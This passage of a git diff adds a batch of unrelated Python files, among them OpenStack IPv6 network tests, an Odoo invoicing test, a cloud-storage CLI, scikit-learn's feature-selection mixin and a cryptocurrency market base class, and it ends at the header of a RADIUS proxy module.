guest_has_address, sshv4_2, ips_from_api_2['6'][i]) + + self.assertTrue(test_utils.call_until_true(srv1_v6_addr_assigned, + CONF.validation.ping_timeout, 1)) + + self.assertTrue(test_utils.call_until_true(srv2_v6_addr_assigned, + CONF.validation.ping_timeout, 1)) + + self._check_connectivity(sshv4_1, ips_from_api_2['4']) + self._check_connectivity(sshv4_2, ips_from_api_1['4']) + + for i in range(n_subnets6): + self._check_connectivity(sshv4_1, + ips_from_api_2['6'][i]) + self._check_connectivity(sshv4_1, + self.subnets_v6[i]['gateway_ip']) + self._check_connectivity(sshv4_2, + ips_from_api_1['6'][i]) + self._check_connectivity(sshv4_2, + self.subnets_v6[i]['gateway_ip']) + + def _check_connectivity(self, source, dest): + self.assertTrue( + self._check_remote_connectivity(source, dest), + "Timed out waiting for %s to become reachable from %s" % + (dest, source.ssh_client.host) + ) + + @test.attr(type='slow') + @test.idempotent_id('2c92df61-29f0-4eaa-bee3-7c65bef62a43') + @test.services('compute', 'network') + def test_slaac_from_os(self): + self._prepare_and_test(address6_mode='slaac') + + @test.attr(type='slow') + @test.idempotent_id('d7e1f858-187c-45a6-89c9-bdafde619a9f') + @test.services('compute', 'network') + def test_dhcp6_stateless_from_os(self): + self._prepare_and_test(address6_mode='dhcpv6-stateless') + + @test.attr(type='slow') + @test.idempotent_id('7ab23f41-833b-4a16-a7c9-5b42fe6d4123') + @test.services('compute', 'network') + def test_multi_prefix_dhcpv6_stateless(self): + self._prepare_and_test(address6_mode='dhcpv6-stateless', n_subnets6=2) + + @test.attr(type='slow') + @test.idempotent_id('dec222b1-180c-4098-b8c5-cc1b8342d611') + @test.services('compute', 'network') + def test_multi_prefix_slaac(self): + self._prepare_and_test(address6_mode='slaac', n_subnets6=2) + + @test.attr(type='slow') + @test.idempotent_id('b6399d76-4438-4658-bcf5-0d6c8584fde2') + @test.services('compute', 'network') + def test_dualnet_slaac_from_os(self): + self._prepare_and_test(address6_mode='slaac', dualnet=True) + + @test.attr(type='slow') + @test.idempotent_id('76f26acd-9688-42b4-bc3e-cd134c4cb09e') + @test.services('compute', 'network') + def test_dualnet_dhcp6_stateless_from_os(self): + self._prepare_and_test(address6_mode='dhcpv6-stateless', dualnet=True) + + @test.idempotent_id('cf1c4425-766b-45b8-be35-e2959728eb00') + @test.services('compute', 'network') + def test_dualnet_multi_prefix_dhcpv6_stateless(self): + self._prepare_and_test(address6_mode='dhcpv6-stateless', n_subnets6=2, + dualnet=True) + + @test.idempotent_id('9178ad42-10e4-47e9-8987-e02b170cc5cd') + @test.services('compute', 'network') + def test_dualnet_multi_prefix_slaac(self): + self._prepare_and_test(address6_mode='slaac', n_subnets6=2, + dualnet=True) diff --git a/pool/shard008/Python/0076026_test_sale_order_invoice_amount.py b/pool/shard008/Python/0076026_test_sale_order_invoice_amount.py new file mode 100644 index 0000000000000000000000000000000000000000..4e4f03b81d9ae41dc3a9e5043a6dbdaff04f02df --- /dev/null +++ b/pool/shard008/Python/0076026_test_sale_order_invoice_amount.py @@ -0,0 +1,117 @@ +# Copyright (C) 2021 ForgeFlow S.L. +# License LGPL-3.0 or later (https://www.gnu.org/licenses/lgpl.html) + +from odoo.tests import common + + +class TestSaleOrderInvoiceAmount(common.SavepointCase): + @classmethod + def setUpClass(cls): + super().setUpClass() + + # Partners + cls.res_partner_1 = cls.env["res.partner"].create({"name": "Wood Corner"}) + cls.res_partner_address_1 = cls.env["res.partner"].create( + {"name": "Willie Burke", "parent_id": cls.res_partner_1.id} + ) + cls.res_partner_2 = cls.env["res.partner"].create({"name": "Partner 12"}) + + # Products + cls.product_1 = cls.env["product.product"].create( + {"name": "Desk Combination", "type": "product", "invoice_policy": "order"} + ) + cls.product_2 = cls.env["product.product"].create( + {"name": "Conference Chair", "type": "product", "invoice_policy": "order"} + ) + cls.product_3 = cls.env["product.product"].create( + {"name": "Repair Services", "type": "service", "invoice_policy": "order"} + ) + + # Location + cls.stock_warehouse = cls.env["stock.warehouse"].search( + [("company_id", "=", cls.env.company.id)], limit=1 + ) + cls.stock_location_14 = cls.env["stock.location"].create( + {"name": "Shelf 2", "location_id": cls.stock_warehouse.lot_stock_id.id} + ) + # Replenish products + cls.env["stock.quant"]._update_available_quantity( + cls.product_1, cls.stock_location_14, 10 + ) + cls.env["stock.quant"]._update_available_quantity( + cls.product_2, cls.stock_location_14, 10 + ) + # Sale Order + cls.tax = cls.env["account.tax"].create( + {"name": "Tax 15", "type_tax_use": "sale", "amount": 21} + ) + cls.sale_order_1 = cls.env["sale.order"].create( + {"partner_id": cls.res_partner_1.id} + ) + cls.order_line_1 = cls.env["sale.order.line"].create( + { + "order_id": cls.sale_order_1.id, + "product_id": cls.product_1.id, + "product_uom": cls.product_1.uom_id.id, + "product_uom_qty": 10.0, + "price_unit": 10.0, + "tax_id": cls.tax, + } + ) + cls.order_line_2 = cls.env["sale.order.line"].create( + { + "order_id": cls.sale_order_1.id, + "product_id": cls.product_2.id, + "product_uom": cls.product_2.uom_id.id, + "product_uom_qty": 25.0, + "price_unit": 4.0, + "tax_id": cls.tax, + } + ) + cls.order_line_3 = cls.env["sale.order.line"].create( + { + "order_id": cls.sale_order_1.id, + "product_id": cls.product_3.id, + "product_uom": cls.product_3.uom_id.id, + "product_uom_qty": 20.0, + "price_unit": 5.0, + "tax_id": cls.tax, + } + ) + + def test_sale_order_invoiced_amount(self): + + self.assertEqual( + self.sale_order_1.invoiced_amount, + 0.0, + "Invoiced Amount should be 0.0", + ) + context_payment = { + "active_ids": [self.sale_order_1.id], + "active_id": self.sale_order_1.id, + } + payment = ( + self.env["sale.advance.payment.inv"] + .with_context(context_payment) + .create({"advance_payment_method": "fixed", "fixed_amount": 100}) + ) + + payment.create_invoices() + self.assertEqual( + self.sale_order_1.invoiced_amount, + 100.0, + "Invoiced Amount should be 100", + ) + self.assertEqual( + self.sale_order_1.uninvoiced_amount, + 263.0, + "Uninvoiced Amount should be 263", + ) + + self.sale_order_1.action_confirm() + self.sale_order_1._create_invoices(final=True) + self.assertEqual( + self.sale_order_1.invoiced_amount, + 363.0, + "Invoiced Amount should be calculated", + ) diff --git a/pool/shard008/Python/0076028_template.py b/pool/shard008/Python/0076028_template.py new file mode 100644 index 0000000000000000000000000000000000000000..90aa8f705a9a2e2b18e4b9ad7876ff3b778e606c --- /dev/null +++ b/pool/shard008/Python/0076028_template.py @@ -0,0 +1,30 @@ +"""Helper functions for working with templates""" + +import os +import re +import string + +def render_templatefile(path, **kwargs): + with open(path, 'rb') as file: + raw = file.read() + + content = string.Template(raw).substitute(**kwargs) + + render_path = path[:-len('.tmpl')] if path.endswith('.tmpl') else path + with open(render_path, 'wb') as file: + file.write(content) + if path.endswith('.tmpl'): + os.remove(path) + +CAMELCASE_INVALID_CHARS = re.compile('[^a-zA-Z\d]') +def string_camelcase(string): + """ Convert a word to its CamelCase version and remove invalid chars + + >>> string_camelcase('lost-pound') + 'LostPound' + + >>> string_camelcase('missing_images') + 'MissingImages' + + """ + return CAMELCASE_INVALID_CHARS.sub('', string.title()) diff --git a/pool/shard008/Python/0076030_alternate_bulk_formats.py b/pool/shard008/Python/0076030_alternate_bulk_formats.py new file mode 100644 index 0000000000000000000000000000000000000000..a9de09c9b908bd19c0dca3420b168e1cc303efc5 --- /dev/null +++ b/pool/shard008/Python/0076030_alternate_bulk_formats.py @@ -0,0 +1,132 @@ +import csv +import json +import utils + +def run(): + + #yaml filenames + yamls = ["legislators-current.yaml","legislators-historical.yaml"] + yaml_social = "legislators-social-media.yaml" + + + + #list of yaml field name, csv column name tuples. Split into categories which do not reflect yaml structure (structured for logical csv column ordering) + bio_fields = [ + ("last", "last_name"), + ("first", "first_name"), + ("birthday", "birthday"), + ("gender", "gender") + ] + + #ID crosswalks, omit FEC id's, which may contain (arbitrary?) number of values + crosswalk_fields = [ + ("bioguide", "bioguide_id"), + ("thomas", "thomas_id"), + ("opensecrets", "opensecrets_id"), + ("lis","lis_id"), + ("cspan", "cspan_id"), + ("govtrack", "govtrack_id"), + ("votesmart", "votesmart_id"), + ("ballotpedia", "ballotpedia_id"), + ("washington_post", "washington_post_id"), + ("icpsr", "icpsr_id"), + ("wikipedia", "wikipedia_id") + ] + + #separate list for children of "terms", csv only captures data for most recent term + #currently excluding start/end dates - earliest start to latest end is deceptive (excludes gaps) as is start/end for most recent term + term_fields = [ + ("type", "type"), + ("state", "state"), + ("district", "district"), + ("party", "party"), + ("url", "url"), + ("address", "address"), + ("phone", "phone"), + ("contact_form", "contact_form"), + ("rss_url", "rss_url") + ] + + #pulled from legislators-social-media.yaml + social_media_fields = [ + ("twitter", "twitter"), + ("facebook", "facebook"), + ("facebook_id", "facebook_id"), + ("youtube", "youtube"), + ("youtube_id", "youtube_id") + ] + + + print("Loading %s..." %yaml_social) + social = utils.load_data(yaml_social) + + for filename in yamls: + print("Loading %s..." % filename) + legislators = utils.load_data(filename) + + #convert yaml to json + utils.write( + json.dumps(legislators, sort_keys=True, indent=2, default=utils.format_datetime), + "../alternate_formats/%s.json" %filename.rstrip(".yaml")) + + #convert yaml to csv + csv_output = csv.writer(open("../alternate_formats/%s.csv"%filename.rstrip(".yaml"),"w")) + + head = [] + for pair in bio_fields: + head.append(pair[1]) + for pair in term_fields: + head.append(pair[1]) + for pair in social_media_fields: + head.append(pair[1]) + for pair in crosswalk_fields: + head.append(pair[1]) + csv_output.writerow(head) + + for legislator in legislators: + legislator_row = [] + for pair in bio_fields: + if 'name' in legislator and pair[0] in legislator['name']: + legislator_row.append(legislator['name'][pair[0]]) + elif 'bio' in legislator and pair[0] in legislator['bio']: + legislator_row.append(legislator['bio'][pair[0]]) + else: + legislator_row.append(None) + + for pair in term_fields: + latest_term = legislator['terms'][len(legislator['terms'])-1] + if pair[0] in latest_term: + legislator_row.append(latest_term[pair[0]]) + else: + legislator_row.append(None) + + social_match = None + for social_legislator in social: + if 'bioguide' in legislator['id'] and 'bioguide' in social_legislator['id'] and legislator['id']['bioguide'] == social_legislator['id']['bioguide']: + social_match = social_legislator + break + elif 'thomas' in legislator['id'] and 'thomas' in social_legislator['id'] and legislator['id']['thomas'] == social_legislator['id']['thomas']: + social_match = social_legislator + break + elif 'govtrack' in legislator['id'] and 'govtrack' in social_legislator['id'] and legislator['id']['govtrack'] == social_legislator['id']['govtrack']: + social_match = social_legislator + break + for pair in social_media_fields: + if social_match != None: + if pair[0] in social_match['social']: + legislator_row.append(social_match['social'][pair[0]]) + else: + legislator_row.append(None) + else: + legislator_row.append(None) + + for pair in crosswalk_fields: + if pair[0] in legislator['id']: + legislator_row.append(legislator['id'][pair[0]]) + else: + legislator_row.append(None) + + csv_output.writerow(legislator_row) + +if __name__ == '__main__': + run() \ No newline at end of file diff --git a/pool/shard008/Python/0076036_search.py b/pool/shard008/Python/0076036_search.py new file mode 100644 index 0000000000000000000000000000000000000000..29457a606f37d89081c84707afc3642d19d8c7c5 --- /dev/null +++ b/pool/shard008/Python/0076036_search.py @@ -0,0 +1,34 @@ +from bottle import request + +from conans.model.ref import ConanFileReference +from conans.server.rest.bottle_routes import BottleRoutes +from conans.server.service.common.search import SearchService + + +class SearchControllerV2(object): + """ + Serve requests related with Conan + """ + @staticmethod + def attach_to(app): + + r = BottleRoutes() + + @app.route(r.common_search, method=["GET"]) + def search(auth_user): + pattern = request.params.get("q", None) + ignore_case = request.params.get("ignorecase", True) + if isinstance(ignore_case, str): + ignore_case = False if 'false' == ignore_case.lower() else True + search_service = SearchService(app.authorizer, app.server_store, auth_user) + references = [repr(ref) for ref in search_service.search(pattern, ignore_case)] + return {"results": references} + + @app.route(r.common_search_packages, method=["GET"]) + @app.route(r.common_search_packages_revision, method=["GET"]) + def search_packages(name, version, username, channel, auth_user, revision=None): + query = request.params.get("q", None) + search_service = SearchService(app.authorizer, app.server_store, auth_user) + ref = ConanFileReference(name, version, username, channel, revision) + info = search_service.search_packages(ref, query) + return info diff --git a/pool/shard008/Python/0076040_context_local_test.py b/pool/shard008/Python/0076040_context_local_test.py new file mode 100644 index 0000000000000000000000000000000000000000..9f0d4e2633e47e6e34e9d2c10d308fbadfa5f0c7 --- /dev/null +++ b/pool/shard008/Python/0076040_context_local_test.py @@ -0,0 +1,76 @@ +# Copyright 2012 Viewfinder Inc. All Rights Reserved. + +"""Tests for ContextLocal object.""" + +from __future__ import with_statement + +__author__ = 'Matt Tracy (matt@emailscrubbed.com)' + +import unittest +from functools import partial +from tornado.stack_context import StackContext +from viewfinder.backend.base import context_local, util, testing + +class ExampleContext(context_local.ContextLocal): + def __init__(self, val): + super(ExampleContext, self).__init__() + self.val = val + +class ExampleContextTwoParams(context_local.ContextLocal): + def __init__(self, val1, val2): + super(ExampleContextTwoParams, self).__init__() + self.val1 = val1 + self.val2 = val2 + +class ContextLocalTestCase(testing.BaseTestCase): + """Tests using a few basic ContextLocal subclasses.""" + + def testNestedContexts(self): + """Test the nesting of a single ContextLocal subclass.""" + with util.Barrier(self._OnSuccess, on_exception=self._OnException) as b: + with StackContext(ExampleContext(1)): + self.io_loop.add_callback(partial(self._VerifyExampleContext, 1, b.Callback())) + with StackContext(ExampleContext(2)): + self._VerifyExampleContext(2, util.NoCallback) + self.io_loop.add_callback(partial(self._VerifyExampleContext, 2, b.Callback())) + self._VerifyExampleContext(1, util.NoCallback) + + self.wait() + + def testMultipleContextTypes(self): + """Test the usage of multiple ContextLocal subclasses in tandem.""" + with util.Barrier(self._OnSuccess, on_exception=self._OnException) as b: + with StackContext(ExampleContext(1)): + with StackContext(ExampleContextTwoParams(2, 3)): + self._VerifyExampleContext(1, util.NoCallback) + self._VerifyExampleContextTwoParams(2, 3, util.NoCallback) + self.io_loop.add_callback(partial(self._VerifyExampleContext, 1, b.Callback())) + self.io_loop.add_callback(partial(self._VerifyExampleContextTwoParams, 2, 3, b.Callback())) + + self.wait() + + + def _OnSuccess(self): + self.assertTrue(ExampleContext.current() is None, "Unexpected example context: context") + self.assertTrue(ExampleContextTwoParams.current() is None) + self.stop() + + def _OnException(self, type, value, traceback): + try: + raise + finally: + self.stop() + + def _VerifyExampleContext(self, expected, callback): + self.assertEqual(ExampleContext.current().val, expected) + callback() + + def _VerifyExampleContextTwoParams(self, expected1, expected2, callback): + self.assertEqual(ExampleContextTwoParams.current().val1, expected1) + self.assertEqual(ExampleContextTwoParams.current().val2, expected2) + callback() + + + + + diff --git a/pool/shard008/Python/0076054_cloud.py b/pool/shard008/Python/0076054_cloud.py new file mode 100644 index 0000000000000000000000000000000000000000..86616f62a4c233fb3aa0513b2010e0d9c977ace5 --- /dev/null +++ b/pool/shard008/Python/0076054_cloud.py @@ -0,0 +1,143 @@ +#!/usr/bin/python3 -O +import argparse +import os +import re +import sys +import logging +from glob import glob +from azure.storage.blob import BlockBlobService as BlobService +import configparser +import textwrap +import lib.cloud as cloud +import lib.misc as misc + +def get_all(station=None): + return cloud.list(args.network, station) + +def get_files(station_list): + from dateutil import parser + for station in station_list: + for f in get_all(station): + print("{} size: {:10d} date: {}".format(f['name'], f['size'], f['date'])) + +def fail(why): + import sys + print("Failue: %s" % why) + sys.exit(-1) + +def get_size(station_list): + all_files = [] + by_station = {} + ix = 1 + + print(" Station Files Space (GB)") + print("-----------------------------") + for station in sorted(station_list): + sys.stdout.write( "%2d: %s " % (len(station_list) - ix + 1, station) ) + sys.stdout.flush() + by_station[station] = [ f for f in get_all(station) ] + total_space = sum([ f.get('size') for f in by_station[station] ]) + sys.stdout.write( " %5d %9.3f\n" % (len(by_station[station]), total_space / (1024.0 ** 3)) ) + all_files += by_station[station] + ix += 1 + + disk_space = [ f.get('size') for f in all_files ] + + gb = sum(disk_space) / (1024.0 ** 3) + print("-----------------------------") + print(" %-8s %5d %9.3f GB" % ("Total", len(all_files), gb)) + + +if os.environ.get('LOG_LEVEL'): + log = logging.getLogger() + log.setLevel(os.environ.get('LOG_LEVEL')) + +cfg = os.environ.get('CLOUD_CFG') + +os.chdir(os.path.dirname(os.path.realpath(__file__))) + +parser = argparse.ArgumentParser(formatter_class=argparse.RawDescriptionHelpFormatter, epilog=textwrap.dedent('''\ + + With no arguments, it tries to do some kind of accounting on how expensive a station is each month + to keep it going. + + Examples: + Removing files in batch: + + $ tools/cloud.py -q list -s KXXX | (whatever you want) | tools/cloud.py -q unlink + ''')) +parser.add_argument("-s", "--station", default="all", help="station to query (default all)") +parser.add_argument("-n", "--network", choices=('azure','sftp','s3'), default="azure", help="network to query (default all)") +parser.add_argument("-c", "--config", required=True, default=cfg, help="cloud credential file to use") +parser.add_argument("-q", "--query", default='size', help="query to send to the cloud (list, size, unlink)") +parser.add_argument("-g", "--get", help="get a file from the cloud") +parser.add_argument("-p", "--put", help="put a file into the cloud") +parser.add_argument("-d", "--rm", help="remove a file from the cloud") +args = parser.parse_args() + +if args.config is None: + print("Define the cloud configuration location with the CLOUD_CFG environment variable or using the -c option") + sys.exit(-1) + +if args.station == 'all': + args.station = re.sub('.txt', '', ','.join([ os.path.basename(path) for path in glob('../server/configs/*txt')])) + +station_list = args.station.split(',') + +cloud_config = configparser.ConfigParser() +cloud_config.read(args.config) +config = { + 'azure': misc.config_section_map('Azure', cloud_config), + 'sftp': misc.config_section_map('sftp', cloud_config), + 'misc': misc.config_section_map('Misc', cloud_config), + 's3': misc.config_section_map('S3', cloud_config) +} + + +service = cloud.connect(config) + +if args.get: + print("Getting") + for name in args.get.split(','): + print(" ↓ %s" % name) + res = cloud.download(name, name, config=config) + if not res: + sys.stderr.write("%s\n" % name) + fail("Couldn't download %s" % name) + +elif args.put: + print("Putting") + for name in args.put.split(','): + print(" ↑ %s" % name) + res = cloud.upload(name, name, config=config) + if not res: + sys.stderr.write("%s\n" % name) + fail("Couldn't upload %s" % name) + +elif args.rm: + print("Removing") + for name in args.rm.split(','): + print(" - %s" % name) + res = cloud.unlink(name, config=config, forceNetwork=args.network) + if not res: + sys.stderr.write("%s\n" % name) + fail("Couldn't delete %s" % name) + +elif args.query == 'size': + get_size(station_list) + +elif args.query == 'list': + get_files(station_list) + +elif args.query == 'unlink': + print("Reading files to unlink from stdin") + + for line in sys.stdin: + full_line = line.strip() + line = line.strip().split(' ') + filename = line[0] + print(" - %s" % full_line) + cloud.unlink(filename, config=config, forceNetwork=args.network) + +elif args.query: + print("Query '{}' not recognized. Possibilities are unlink, size, and list".format(args.query)) diff --git a/pool/shard008/Python/0076055_syslog.py b/pool/shard008/Python/0076055_syslog.py new file mode 100644 index 0000000000000000000000000000000000000000..c5c30891173874b35d708166083908a998c1adf6 --- /dev/null +++ b/pool/shard008/Python/0076055_syslog.py @@ -0,0 +1,31 @@ +#! /usr/bin/env python + +import syslog, sys, StringIO, traceback, os + +def logexception(includetraceback = 0): + exctype, exception, exctraceback = sys.exc_info() + excclass = str(exception.__class_) + message = str(exception) + if not includetraceback: + syslog.syslog(syslog.LOG_ERR, "%s: %s" % (excclass, message)) + else: + excfd = StringIO.StringIO() + traceback.print_exception(exctype, exception, exctraceback, None,excfd) + for line in excfd.getvalue().split("\n"): + syslog.syslog(syslog.LOG_ERR, line) + +def initsyslog(): + syslog.openlog("%s[%d]" % (os.path.basename(sys.argv[0]), os.getpid()), 0, syslog.LOG_DAEMON) + syslog.syslog("statrted") + +initsyslog() +try: + raise RuntimeError, "Exception 1" +except: + logexception(0) +try: + raise RuntimeError, "Exception 2" +except: + logexception(1) +syslog.syslog("I am terminating.") + diff --git a/pool/shard008/Python/0076056_labeled_slider.py b/pool/shard008/Python/0076056_labeled_slider.py new file mode 100644 index 0000000000000000000000000000000000000000..96983e91247454792371ca6fd77ea572e0fb1f7c --- /dev/null +++ b/pool/shard008/Python/0076056_labeled_slider.py @@ -0,0 +1,85 @@ +# This is the second 'http' example, demoing the interplay of 'drivers' + +from snabbdom import span, input, div +''' +!!! If not explicitly imported, the (slider) 'input' will be overridden by the (dialog box) 'input' from the Python runtime. +This should somehow be avoidable without introducing lots of aliases, e.g. by a kind of dummy import. +??? Why was this different before ES6 modules were introduced? +''' + +d = dict + +def log(f): + ''' + debug tool, you can insert .map(log) anywhere + I used it to compare first buggy version with the js version, which I + configured to the "jsapp" DOM element. + Both worked concurrently. + ''' + console.log(f) + return f + +def LabeledSlider(sources): + 'A cycle js component' + dom_source = sources.DOM + propsS = sources.props + + new_valueS = dom_source \ + .select('.slider') \ + .events('input') \ + .map(lambda ev: ev.target.value) + + stateS = propsS \ + .map(lambda props: new_valueS \ + .map(lambda val: { + 'label': props.label, + 'unit' : props.unit, + 'min' : props.min, + 'max' : props.max, + 'value': val}) \ + .startWith(props) + ) \ + .flatten() \ + .remember() # https://github.com/staltz/xstream/wiki/Migrating-from-RxJS + # all streams are hot, the start with would be forgotten w/o this: + + vdomS = stateS \ + .map(lambda state: \ + div('.labeled-slider', [ + span('.label', + state.label + ' ' + state.value + state.unit), + input('.slider', {'attrs': { + 'type': 'range', 'min': state.min, + 'max': state.max, 'value': state.value}}), + ])) + sinks = d(DOM=vdomS, value=stateS.map(lambda state: state.value)) + return sinks + + +def main(sources): + xs = xstream['default'] + propsS = xs.of( d(label='Radius', unit='', min=20, value=50, max=80) ) + labeled_slider = LabeledSlider({'DOM': sources.DOM, 'props': propsS}) + child_vdomS = labeled_slider.DOM + child_valueS = labeled_slider.value + + def render(v): + value, child_vdom = v + return div([ + child_vdom, + div({'style': { + 'backgroundColor': 'green', + 'width': str(value) + 'px', + 'height': str(value) + 'px', + 'borderRadius': str(value * 0.5) + 'px' + }})]) + + + vdomS = xs.combine(child_valueS, child_vdomS).map(log).map(render) + return {'DOM': vdomS} + + + +Cycle.run(main, { + 'DOM': makeDOMDriver('#app') +}); diff --git a/pool/shard008/Python/0076059_config.py b/pool/shard008/Python/0076059_config.py new file mode 100644 index 0000000000000000000000000000000000000000..6afa35d0285e2d57cc89237a363ca8dcdb9ea274 --- /dev/null +++ b/pool/shard008/Python/0076059_config.py @@ -0,0 +1,26 @@ +# Copyright 2021 Google LLC +# +# Licensed under the Apache License, Version 2.0 (the "License"); +# you may not use this file except in compliance with the License. +# You may obtain a copy of the License at +# +# http://www.apache.org/licenses/LICENSE-2.0 +# +# Unless required by applicable law or agreed to in writing, software +# distributed under the License is distributed on an "AS IS" BASIS, +# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +# See the License for the specific language governing permissions and +# limitations under the License. + +def config2dict(config): + """Assumes the configuration .ini has only the default section. + """ + config_dict = {} + for k, v in config.items('DEFAULT'): + assert k not in config_dict, "Duplicate flags not allowed" + config_dict[k] = v + return config_dict + + +def get_config_ini(ckpt_path): + return '/'.join(ckpt_path.split('/')[:-2]) + '.ini' diff --git a/pool/shard008/Python/0076063_base.py b/pool/shard008/Python/0076063_base.py new file mode 100644 index 0000000000000000000000000000000000000000..a5d752cb3f4b6df8d5b0540d1b8a7392e3d8a068 --- /dev/null +++ b/pool/shard008/Python/0076063_base.py @@ -0,0 +1,198 @@ +# -*- coding: utf-8 -*- +"""Generic feature selection mixin""" + +# Authors: G. Varoquaux, A. Gramfort, L. Buitinck, J. Nothman +# License: BSD 3 clause + +from abc import ABCMeta, abstractmethod +from warnings import warn +from operator import attrgetter + +import numpy as np +from scipy.sparse import issparse, csc_matrix + +from ..base import TransformerMixin +from ..utils import check_array +from ..utils import safe_mask +from ..utils import safe_sqr + + +class SelectorMixin(TransformerMixin, metaclass=ABCMeta): + """ + Transformer mixin that performs feature selection given a support mask + + This mixin provides a feature selector implementation with `transform` and + `inverse_transform` functionality given an implementation of + `_get_support_mask`. + """ + + def get_support(self, indices=False): + """ + Get a mask, or integer index, of the features selected + + Parameters + ---------- + indices : bool, default=False + If True, the return value will be an array of integers, rather + than a boolean mask. + + Returns + ------- + support : array + An index that selects the retained features from a feature vector. + If `indices` is False, this is a boolean array of shape + [# input features], in which an element is True iff its + corresponding feature is selected for retention. If `indices` is + True, this is an integer array of shape [# output features] whose + values are indices into the input feature vector. + """ + mask = self._get_support_mask() + return mask if not indices else np.where(mask)[0] + + @abstractmethod + def _get_support_mask(self): + """ + Get the boolean mask indicating which features are selected + + Returns + ------- + support : boolean array of shape [# input features] + An element is True iff its corresponding feature is selected for + retention. + """ + + def transform(self, X): + """Reduce X to the selected features. + + Parameters + ---------- + X : array of shape [n_samples, n_features] + The input samples. + + Returns + ------- + X_r : array of shape [n_samples, n_selected_features] + The input samples with only the selected features. + """ + tags = self._get_tags() + X = check_array(X, dtype=None, accept_sparse='csr', + force_all_finite=not tags.get('allow_nan', True)) + mask = self.get_support() + if not mask.any(): + warn("No features were selected: either the data is" + " too noisy or the selection test too strict.", + UserWarning) + return np.empty(0).reshape((X.shape[0], 0)) + if len(mask) != X.shape[1]: + raise ValueError("X has a different shape than during fitting.") + return X[:, safe_mask(X, mask)] + + def inverse_transform(self, X): + """ + Reverse the transformation operation + + Parameters + ---------- + X : array of shape [n_samples, n_selected_features] + The input samples. + + Returns + ------- + X_r : array of shape [n_samples, n_original_features] + `X` with columns of zeros inserted where features would have + been removed by :meth:`transform`. + """ + if issparse(X): + X = X.tocsc() + # insert additional entries in indptr: + # e.g. if transform changed indptr from [0 2 6 7] to [0 2 3] + # col_nonzeros here will be [2 0 1] so indptr becomes [0 2 2 3] + it = self.inverse_transform(np.diff(X.indptr).reshape(1, -1)) + col_nonzeros = it.ravel() + indptr = np.concatenate([[0], np.cumsum(col_nonzeros)]) + Xt = csc_matrix((X.data, X.indices, indptr), + shape=(X.shape[0], len(indptr) - 1), dtype=X.dtype) + return Xt + + support = self.get_support() + X = check_array(X, dtype=None) + if support.sum() != X.shape[1]: + raise ValueError("X has a different shape than during fitting.") + + if X.ndim == 1: + X = X[None, :] + Xt = np.zeros((X.shape[0], support.size), dtype=X.dtype) + Xt[:, support] = X + return Xt + + +def _get_feature_importances(estimator, getter, transform_func=None, + norm_order=1): + """ + Retrieve and aggregate (ndim > 1) the feature importances + from an estimator. Also optionally applies transformation. + + Parameters + ---------- + estimator : estimator + A scikit-learn estimator from which we want to get the feature + importances. + + getter : "auto", str or callable + An attribute or a callable to get the feature importance. If `"auto"`, + `estimator` is expected to expose `coef_` or `feature_importances`. + + transform_func : {"norm", "square"}, default=None + The transform to apply to the feature importances. By default (`None`) + no transformation is applied. + + norm_order : int, default=1 + The norm order to apply when `transform_func="norm"`. Only applied + when `importances.ndim > 1`. + + Returns + ------- + importances : ndarray of shape (n_features,) + The features importances, optionally transformed. + """ + if isinstance(getter, str): + if getter == 'auto': + if hasattr(estimator, 'coef_'): + getter = attrgetter('coef_') + elif hasattr(estimator, 'feature_importances_'): + getter = attrgetter('feature_importances_') + else: + raise ValueError( + f"when `importance_getter=='auto'`, the underlying " + f"estimator {estimator.__class__.__name__} should have " + f"`coef_` or `feature_importances_` attribute. Either " + f"pass a fitted estimator to feature selector or call fit " + f"before calling transform." + ) + else: + getter = attrgetter(getter) + elif not callable(getter): + raise ValueError( + '`importance_getter` has to be a string or `callable`' + ) + importances = getter(estimator) + + if transform_func is None: + return importances + elif transform_func == "norm": + if importances.ndim == 1: + importances = np.abs(importances) + else: + importances = np.linalg.norm(importances, axis=0, + ord=norm_order) + elif transform_func == "square": + if importances.ndim == 1: + importances = safe_sqr(importances) + else: + importances = safe_sqr(importances).sum(axis=0) + else: + raise ValueError("Valid values for `transform_func` are " + + "None, 'norm' and 'square'. Those two " + + "transformation are only supported now") + + return importances diff --git a/pool/shard008/Python/0076068_market.py b/pool/shard008/Python/0076068_market.py new file mode 100644 index 0000000000000000000000000000000000000000..f23a8ef100ac0a4bd7a4fcf4b232668c4f6270a6 --- /dev/null +++ b/pool/shard008/Python/0076068_market.py @@ -0,0 +1,64 @@ +# Copyright (C) 2013, Maxime Biais + +import logging +import config +import time +import datetime +import database + + +class TradeException(Exception): + pass + + +class Market: + def __init__(self): + self.name = self.__class__.__name__ + self.p_coin = config.p_coin + self.s_coin = config.s_coin + self.p_coin_balance = 0.0 + self.s_coin_balance = 0.0 + self.open_orders = [] + self.fees = {"buy": {"fee": 0.002, "coin": "p_coin"}, "sell": {"fee": 0.002, "coin": "s_coin"}} + self.min_tx_volume = 0 # In secondary coin + + def __str__(self): + return "%s: %s" % (self.name, + str({self.p_coin+" balance": self.p_coin_balance, + self.s_coin+" balance": self.s_coin_balance})) + + def buy(self, amount, price): + """Orders are always priced in secondary coin""" + logging.info("Buy %.8f %s at %.8f %s @%s" % (amount, self.p_coin, price, + self.s_coin, self.name)) + order_id = self._buy(amount, price) + self.open_orders.append({'time_placed': time.time(), 'order_id': order_id}) + # Record to database + database.place_order(order_id, self.name, datetime.datetime.now(), "buy", price, amount) + + def sell(self, amount, price): + """Orders are always priced in secondary coin""" + logging.info("Sell %.8f %s at %.8f %s @%s" % (amount, self.p_coin, price, + self.s_coin, self.name)) + order_id = self._sell(amount, price) + self.open_orders.append({'time_placed': time.time(), 'order_id': order_id}) + # Record to database + database.place_order(order_id, self.name, datetime.datetime.now(), "sell", price, amount) + + def update_order_status(self): + pass + + def _buy(self, amount, price): + raise NotImplementedError("%s.sell(self, amount, price)" % self.name) + + def _sell(self, amount, price): + raise NotImplementedError("%s.sell(self, amount, price)" % self.name) + + def deposit(self): + raise NotImplementedError("%s.sell(self, amount, price)" % self.name) + + def withdraw(self, amount, address): + raise NotImplementedError("%s.sell(self, amount, price)" % self.name) + + def get_balances(self): + raise NotImplementedError("%s.sell(self, amount, price)" % self.name) diff --git a/pool/shard008/Python/0076071_radiusproxy.py b/pool/shard008/Python/0076071_radiusproxy.py new file mode 100644 index 0000000000000000000000000000000000000000..3391b8aed77205fb1a586d5472d8cfdbc9fd1cd5 --- /dev/null +++ b/pool/shard008/Python/0076071_radiusproxy.py @@ -0,0 +1,182 @@ +# Authors: +# Nathaniel McCallum +# +# Copyright (C) 2013 Red Hat +# see file 